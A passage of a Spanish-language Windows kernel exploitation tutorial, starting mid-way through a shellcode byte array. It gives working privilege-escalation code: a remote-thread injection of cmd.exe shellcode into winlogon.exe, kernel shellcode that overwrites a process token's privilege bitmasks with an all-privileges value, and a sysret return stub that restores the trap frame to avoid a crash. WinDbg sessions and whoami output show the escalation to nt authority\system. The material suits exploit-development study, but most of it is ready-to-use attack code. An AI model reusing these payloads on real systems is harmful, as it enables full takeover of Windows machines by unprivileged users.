    0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
    0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
    0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
    0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
    0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
    0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
    0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
    0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
    0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
    0xda, 0xff, 0xd5, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00
};

El uso es un poco diferente, luego de obtener el pid utilizamos OpenProcess con derechos ALL_ACCESS, usando VirtualAllocEx reservamos un buffer en el proceso para posteriormente utilizando WriteProcessMemory escribir nuestro shellcode para ejecutar cmd.exe, finalmente utilizamos CreateRemoteThread para crear un hilo bajo winlogon.exe que ejecuta nuestro shellcode, se ejecutará con privilegios elevados.

DWORD pid = FindProcessId(L"winlogon.exe");
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

LPVOID buffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, buffer, shellcode, sizeof(shellcode), NULL);

CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) buffer, NULL, 0, NULL);  
CloseHandle(hProcess);

Al ejecutarse el shellcode de kernel que edita la ACL y ejecuta un shellcode bajo el proceso winlogon.exe se abre una nueva cmd.exe como nt authority\system.

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe

Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>


Edit Privileges


La primitiva del último método es un poco más simple, se basa en cambiar los privilegios de un proceso, para ello usaremos como proceso una cmd.exe que por defecto tiene pocos privilegios y de hecho varios de ellos están deshabilitados.

Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\user> whoami /priv

INFORMACIÓN DE PRIVILEGIOS
--------------------------

Nombre de privilegio          Descripción                                  Estado
============================= ============================================ =============
SeShutdownPrivilege           Apagar el sistema                            Deshabilitado
SeChangeNotifyPrivilege       Omitir comprobación de recorrido             Habilitada
SeUndockPrivilege             Quitar equipo de la estación de acoplamiento Deshabilitado
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
SeTimeZonePrivilege           Cambiar la zona horaria                      Deshabilitado

C:\Users\user>

Iniciaremos por obtener el token del proceso actual, esa estructura se encarga de asignar los privilegios a los usuarios, pero antes de continuar limpiamos el RefCnt.

0: kd> !process 0 0 cmd.exe
PROCESS ffffbe0df99a00c0
    SessionId: 1  Cid: 0348    Peb: ed8cdd8000  ParentCid: 12a0
    DirBase: 194118000  ObjectTable: ffff8102242a1c40  HandleCount:  68.
    Image: cmd.exe

0: kd> dt nt!_EPROCESS 0xffffbe0df99a00c0 Token
   +0x4b8 Token : _EX_FAST_REF

0: kd> dt nt!_EX_FAST_REF 0xffffbe0df99a00c0 + 0x4b8
   +0x000 Object           : 0xffff8102`21a8a065 Void
   +0x000 RefCnt           : 0y0101
   +0x000 Value            : 0xffff8102`21a8a065

0: kd> ? 0xffff810221a8a065 & 0xfffffffffffffff0
Evaluate expression: -139628822093728 = ffff8102`21a8a060

Dentro de la estrucutra _TOKEN encontramos que en un offset de 0x40 a partir del token podemos ver un atributo llamado Privileges que es el que nos interesa.

0: kd> dt nt!_TOKEN 0xffff810221a8a060
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x7fffffff`ffffffff
   +0x030 TokenLock        : 0xffffbe0d`f9a9cc10 _ERESOURCE
   +0x038 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x078 SessionId        : 1

El atributo es una estructura de tipo _SEP_TOKEN_PRIVILEGES y se compone de otros 3 atributos, cada uno de 8 bytes, el qword de Present define los privilegios que estarán asignados al proceso mientras Enabled define cuales estarán habilitados.

0: kd> dt nt!_SEP_TOKEN_PRIVILEGES 0xffff810221a8a060 + 0x40
   +0x000 Present          : 0x00000006`02880000
   +0x008 Enabled          : 0x800000
   +0x010 EnabledByDefault : 0x40800000

Según la documentación si sumamos todas las constantes de privilegios nos deja un valor de 0x1ff2ffffbc, el concepto es simple, solo tenemos que escribir ese qword en los atributos Present y Enabled en los offset 0x40 y 0x48 respectivamente, al hacerlo todos los privilegios en el proceso deberían estar asignados y habilitados.

0: kd> eq 0xffff810221a8a060 + 0x40 0x1ff2ffffbc

0: kd> eq 0xffff810221a8a060 + 0x48 0x1ff2ffffbc

0: kd> dt nt!_SEP_TOKEN_PRIVILEGES 0xffff810221a8a060 + 0x40
   +0x000 Present          : 0x0000001f`f2ffffbc
   +0x008 Enabled          : 0x0000001f`f2ffffbc
   +0x010 EnabledByDefault : 0x40800000

Si volvemos al proceso cmd.exe encontramos que se han habilitado todos los privilegios para el proceso actual, solo nos queda pasarlo a un shellcode.

C:\Users\user> whoami /priv

INFORMACIÓN DE PRIVILEGIOS
--------------------------

Nombre de privilegio                      Descripción                                                                   Estado
========================================= ============================================================================= ==========
SeCreateTokenPrivilege                    Crear un objeto símbolo (token)                                               Habilitada
SeAssignPrimaryTokenPrivilege             Reemplazar un símbolo (token) de nivel de proceso                             Habilitada
SeLockMemoryPrivilege                     Bloquear páginas en la memoria                                                Habilitada
SeIncreaseQuotaPrivilege                  Ajustar las cuotas de la memoria para un proceso                              Habilitada
SeTcbPrivilege                            Actuar como parte del sistema operativo                                       Habilitada
SeSecurityPrivilege                       Administrar registro de seguridad y auditoría                                 Habilitada
SeTakeOwnershipPrivilege                  Tomar posesión de archivos y otros objetos                                    Habilitada
SeLoadDriverPrivilege                     Cargar y descargar controladores de dispositivo                               Habilitada
SeSystemProfilePrivilege                  Generar perfiles del rendimiento del sistema                                  Habilitada
SeSystemtimePrivilege                     Cambiar la hora del sistema                                                   Habilitada
SeProfileSingleProcessPrivilege           Generar perfiles de un solo proceso                                           Habilitada
SeIncreaseBasePriorityPrivilege           Aumentar prioridad de programación                                            Habilitada
SeCreatePagefilePrivilege                 Crear un archivo de paginación                                                Habilitada
SeCreatePermanentPrivilege                Crear objetos compartidos permanentes                                         Habilitada
SeBackupPrivilege                         Hacer copias de seguridad de archivos y directorios                           Habilitada
SeRestorePrivilege                        Restaurar archivos y directorios                                              Habilitada
SeShutdownPrivilege                       Apagar el sistema                                                             Habilitada
SeDebugPrivilege                          Depurar programas                                                             Habilitada
SeAuditPrivilege                          Generar auditorías de seguridad                                               Habilitada
SeSystemEnvironmentPrivilege              Modificar valores de entorno firmware                                         Habilitada
SeChangeNotifyPrivilege                   Omitir comprobación de recorrido                                              Habilitada
SeUndockPrivilege                         Quitar equipo de la estación de acoplamiento                                  Habilitada
SeManageVolumePrivilege                   Realizar tareas de mantenimiento del volumen                                  Habilitada
SeImpersonatePrivilege                    Suplantar a un cliente tras la autenticación                                  Habilitada
SeCreateGlobalPrivilege                   Crear objetos globales                                                        Habilitada
SeTrustedCredManAccessPrivilege           Obtener acceso al administrador de credenciales como un llamador de confianza Habilitada
SeRelabelPrivilege                        Modificar la etiqueta de un objeto                                            Habilitada
SeIncreaseWorkingSetPrivilege             Aumentar el espacio de trabajo de un proceso                                  Habilitada
SeTimeZonePrivilege                       Cambiar la zona horaria                                                       Habilitada
SeCreateSymbolicLinkPrivilege             Crear vínculos simbólicos                                                     Habilitada
SeDelegateSessionUserImpersonatePrivilege Obtén un token de suplantación para otro usuario en la misma sesión           Habilitada

C:\Users\user>

De nuevo iniciamos el shellcode con las instrucciones de PsGetCurrentProcess que servirán para obtener la dirección del proceso actual que guardaremos en rbx, movemos a rcx+ el campo Token del proceso actual y limpiamos el RefCnt.

global _start

_start:
    mov rdx, [gs:0x188]    ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]  ; $rax = _EPROCESS
    mov rcx, [rax + 0x4b8] ; $rcx = process token
    and cl, 0xf0           ; clear _EX_FAST_REF struct

Finalmente movemos a rbx la constante que pertenece a All Privileges y lo sobrescribimos en los valores de Present y Enabled del proceso actual.

    mov rbx, 0x1ff2ffffbc  ; $rbx = all privileges
    mov [rcx + 0x40], rbx  ; change present privileges
    mov [rcx + 0x48], rbx  ; change enabled privileges

Nuestro shellcode final es más pequeño que los otros 2 métodos, resumiendo su funcionamiento sobrescribe los valores que pertenecen a los privilegios del proceso por una constante que asigne y habilite todos, al final simplemente retorna.

global _start

_start:
    mov rdx, [gs:0x188]    ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]  ; $rax = _EPROCESS

    mov rcx, [rax + 0x4b8] ; $rcx = process token
    and cl, 0xf0           ; clear _EX_FAST_REF struct

    mov rbx, 0x1ff2ffffbc  ; $rbx = all privileges
    mov [rcx + 0x40], rbx  ; change present privileges
    mov [rcx + 0x48], rbx  ; change enabled privileges

    ret                    ; return

Aunque si lanzamos una cmd.exe ya tenemos todos los privilegios lo ideal sería conseguir nt authority\system, luego de obtener el pid utilizamos OpenProcess con derechos ALL_ACCESS, usando VirtualAllocEx reservamos un buffer en el proceso para posteriormente utilizando WriteProcessMemory escribir nuestro shellcode para ejecutar cmd.exe, finalmente utilizamos CreateRemoteThread para crear un hilo bajo winlogon.exe que ejecuta nuestro shellcode, se ejecutará con privilegios elevados.

DWORD pid = FindProcessId(L"winlogon.exe");
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

LPVOID buffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, buffer, shellcode, sizeof(shellcode), NULL);

CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) buffer, NULL, 0, NULL);  
CloseHandle(hProcess);

Al ejecutarse el shellcode que modifica los privilegios y ejecuta un shellcode bajo el proceso winlogon.exe se abre una nueva cmd.exe como nt authority\system.

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe

Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>


Sysret Return


Hay que tener en cuenta que para todos los shellcodes anteriores se necesita restaurar la pila dependiendo el exploit, de lo contrario se provocará un BSOD, la primera opción es restaurar la pila a un punto en donde al retornar no bloquee o buscamos una forma que evite este problema de forma mucho mas general.

Podemos restaurar la pila ejecutando add esp, [offset], o simplemente volver al modo de usuario, sin embargo necesitamos restaurar el contexto del estado de la CPU a como estaba antes de cambiar a modo kernel, para nuesta suerte esto se guarda en el TrapFrame que es un valor de la estructura KTRHEAD en el offset 0x90.

0: kd> dqs gs:0x188 L1
002b:00000000`00000188  ffffb68c`7dddc080

0: kd> dt nt!_KTHREAD 0xffffb68c7dddc080
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : (null) 
   +0x020 QuantumTarget    : 0x7a1c381
   +0x028 InitialStack     : 0xffff8503`c6614c90 Void
   +0x030 StackLimit       : 0xffff8503`c660f000 Void
   +0x038 StackBase        : 0xffff8503`c6615000 Void
   ..................................................
   +0x080 SystemCallNumber : 7
   +0x084 ReadyTime        : 9
   +0x088 FirstArgument    : 0x00000000`00000094 Void
   +0x090 TrapFrame        : 0xffff8503`c6614b00 _KTRAP_FRAME

En esta estructura podemos encontrar los registros guardados de modo usuario, necesitamos restaurar varios de ellos que no se consideran volátiles, para ello nos guiaremos de la documentación donde nos dice que registros deben contener que valores, por ejemplo que r11 debe contener las rflags o rcx el valor de rip.

0: kd> dt nt!_KTRAP_FRAME 0xffff8503c6614b00
   +0x000 P1Home           : 0xffffb68c`7dddc080
   +0x008 P2Home           : 0x10
   +0x010 P3Home           : 0xffff8503`00000000
   +0x018 P4Home           : 0xffffb68c`00000000
   .............................................
   +0x140 Rbx              : 0
   +0x148 Rdi              : 0x94
   +0x150 Rsi              : 0x000001ae`845b0000
   +0x158 Rbp              : 0x94
   +0x160 ErrorCode        : 4
   +0x160 ExceptionFrame   : 4
   +0x168 Rip              : 0x00007ff8`728ed0c4
   +0x170 SegCs            : 0x33
   +0x172 Fill0            : 0 ''
   +0x173 Logging          : 0 ''
   +0x174 Fill1            : [2] 0
   +0x178 EFlags           : 0x246
   +0x17c Fill2            : 0
   +0x180 Rsp              : 0x00000083`ed55fb98

Con lo que sabemos ahora podemos simplemente restaurar los registros desde la estructura TrapFrame a como nos conviene para posteriormente intercambiar el segmento gs y ejecutar el sysret para volver al modo de usuario, no sin antes establecer el valor de retorno en rax a 0 indicado que ha vuelto correctamente.

global _start

_start:
    .................kernel shellcode.................

    mov rdx, [gs:0x188]              ; $rdx = _KTHREAD

    mov rdx, [rdx + 0x90]            ; $rdx = ETHREAD.TrapFrame
    mov rbp, [rdx + 0x158]           ; $rbp = ETHREAD.TrapFrame.Rbp
    mov rcx, [rdx + 0x168]           ; $rcx = ETHREAD.TrapFrame.Rip
    mov r11, [rdx + 0x178]           ; $r11 = ETHREAD.TrapFrame.EFlags
    mov rsp, [rdx + 0x180]           ; $rsp = ETHREAD.TrapFrame.Rsp

    xor rax, rax                     ; $rax = STATUS SUCCESS
    swapgs                           ; swap gs segment
    o64 sysret                       ; return to usermode

Sin embargo al intentar usar este shellcode nos devuelve un BSOD ocasionado por el error APC_INDEX_MISMATCH, la documentación nos dice que esto se debe a que KeEnterCriticalRegion debe tener una llamada coincidente a KeLeaveCriticalRegion.

0: kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000001 (0x00007FFBD644F8B4,0x0000000000000000,0x000000000000FFFF,0xFFFFDB0487C53B80)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff806`34c073f0 cc              int     3

0: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

APC_INDEX_MISMATCH (1)
This is a kernel internal error. The most common reason to see this BugCheck is when a filesystem or a driver has a mismatched number of calls to disable and re-enable APCs. The key data item is the Thread->CombinedApcDisable field. This consists of two separate 16-bit fields, the SpecialApcDisable and the KernelApcDisable. A negative value of either indicates that a driver has disabled special or normal APCs (respectively) without re-enabling them; a positive value indicates that a driver has enabled special or normal APCs (respectively) too many times.
Arguments:
Arg1: 00007ffbd644f8b4, Address of system call function or worker routine
Arg2: 0000000000000000, Thread->ApcStateIndex
Arg3: 000000000000ffff, (Thread->SpecialApcDisable << 16) | Thread->KernelApcDisable
Arg4: ffffdb0487c53b80, Call type (0 - system call, 1 - worker routine)

Accediendo a la estructura KTHREAD en el offset 0x1e4 podemos ver que el valor en ejecución es de -1, la solución es simplemente limpiar KernelApcDisable estableciéndolo a 0 por lo que solo debemos aumentarle su valor en una unidad.

0: kd> dqs gs:0x188 L1
002b:00000000`00000188  ffffb081`1abed080

0: kd> dt nt!_KTHREAD 0xffffb0811abed080
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : (null) 
   +0x020 QuantumTarget    : 0x769b263
   +0x028 InitialStack     : 0xffff9084`eab77c90 Void
   +0x030 StackLimit       : 0xffff9084`eab72000 Void
   +0x038 StackBase        : 0xffff9084`eab78000 Void
   ..................................................
   +0x1e4 KernelApcDisable : 0n-1
   +0x1e6 SpecialApcDisable : 0n0
   +0x1e4 CombinedApcDisable : 0xffff

Entonces desde nuestro shellcode podemos simplemente obtener el valor actual de KernelApcDisable, incrementar su valor en una unidad y restaurarlo de nuevo.

    mov cx, [rdx + 0x1e4]            ; $cx = KernelApcDisable
    inc cx                           ; fix value
    mov [rdx + 0x1e4], cx            ; restore value

Entonces resumiendo el shellcode de retorno con sysret luego de ejecutar un shellcode restaura los valores a través del TrapFrame y vuelve a modo de usuario.

global _start

_start:
    .................kernel shellcode.................

    mov rdx, [gs:0x188]              ; $rdx = _KTHREAD

    mov cx, [rdx + 0x1e4]            ; $cx = KernelApcDisable
    inc cx                           ; fix value
    mov [rdx + 0x1e4], cx            ; restore value  

    mov rdx, [rdx + 0x90]            ; $rdx = ETHREAD.TrapFrame
    mov rbp, [rdx + 0x158]           ; $rbp = ETHREAD.TrapFrame.Rbp
    mov rcx, [rdx + 0x168]           ; $rcx = ETHREAD.TrapFrame.Rip
    mov r11, [rdx + 0x178]           ; $r11 = ETHREAD.TrapFrame.EFlags
    mov rsp, [rdx + 0x180]           ; $rsp = ETHREAD.TrapFrame.Rsp

    xor rax, rax                     ; $rax = STATUS SUCCESS
    swapgs                           ; swap gs segment
    o64 sysret                       ; return to usermode